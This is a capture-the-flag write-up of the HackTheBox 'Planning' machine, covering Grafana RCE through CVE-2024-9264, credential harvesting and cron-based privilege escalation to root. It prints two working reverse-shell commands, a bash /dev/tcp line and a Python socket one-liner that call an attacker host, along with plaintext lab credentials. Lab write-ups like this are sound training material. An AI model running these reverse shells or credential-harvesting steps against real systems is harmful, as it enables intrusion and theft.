- Difficulty: Easy
- Target: HackTheBox [Planning]
- Type: Comprehensive Penetration
GetShell#
Scan the ports and find that 22 and 80 are open. Access port 80 and find that many interactions are not usable; the only place that can be queried also returns no data, and injection cannot be found. Directory brute-forcing also does not reveal an admin backend. Neither active nor passive scanning detected any vulnerabilities.
Change the approach and enumerate subdomains, discovering grafana.planning.htb, which is a monitoring web page. Using the account information provided in the question admin / 0D5oT70Fq13EvB5r
, I found that I could log into the backend.
On the login page, I found the Grafana version number Grafana v11.0.0 (83b9528bce)
. I searched Google for vulnerabilities and found a CVE-2024-9264 on GitHub that allows for RCE. I attempted to execute the PoC:
python CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'bash -c "bash -i >& /dev/tcp/10.10.14.53/9443 0>&1"' http://grafana.planning.htb/
I successfully popped a shell; the shell that appeared was the root user, but I did not find the flag in the directory, likely because it was inside a Docker container, requiring Docker escape.
root@7ce659d667d7:~# hostname -I
172.17.0.2
root@7ce659d667d7:~# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
I checked the environment variables and found a plaintext password. I tried logging in via SSH with enzo
and RioTecRANDEntANT!
, and found that I successfully logged in, obtaining the flag.
Privilege Escalation#
Use netstat
to check the open ports on the server.
netstat -tulnp
I found that port 3306 was open, with a MySQL service running. I checked the web configuration file and found the MySQL username and password, which allowed me to successfully log into MySQL.
enzo@planning:/var/www/web$ head /var/www/web/index.php
<?php
$servername = "localhost";
$username = "root";
$password = "EXTRapHY";
$dbname = "edukate";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
I found that I logged in successfully, but could not write a shell. I was stuck here for a long time, thinking I needed some special method to bypass it, but eventually realized the breakthrough point was not here...
In fact, the server also had port 8000 open, allowing SSH proxy access to that port.
ssh -L 8000:127.0.0.1:8000 [email protected] -N
I found that a username and password were required to log in, and I tried using the MySQL credentials I had just obtained, but the login failed.
I gathered information and found a crontab
directory under /opt
. Inside, there was a crontab.db
file. I downloaded it and found that it could not be opened with SQLite, but it could be viewed directly as a text file.
enzo@planning:/opt/crontabs$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
Inside, I found a password P4ssw0rdS0pRi0T3c
. I used the username root
to log into the website I had just accessed and found that I successfully logged in.
I should be able to RCE, so I added a crontab
entry.
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.53',9443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Executing it manually allowed me to directly pop a shell, successfully obtaining the root flag.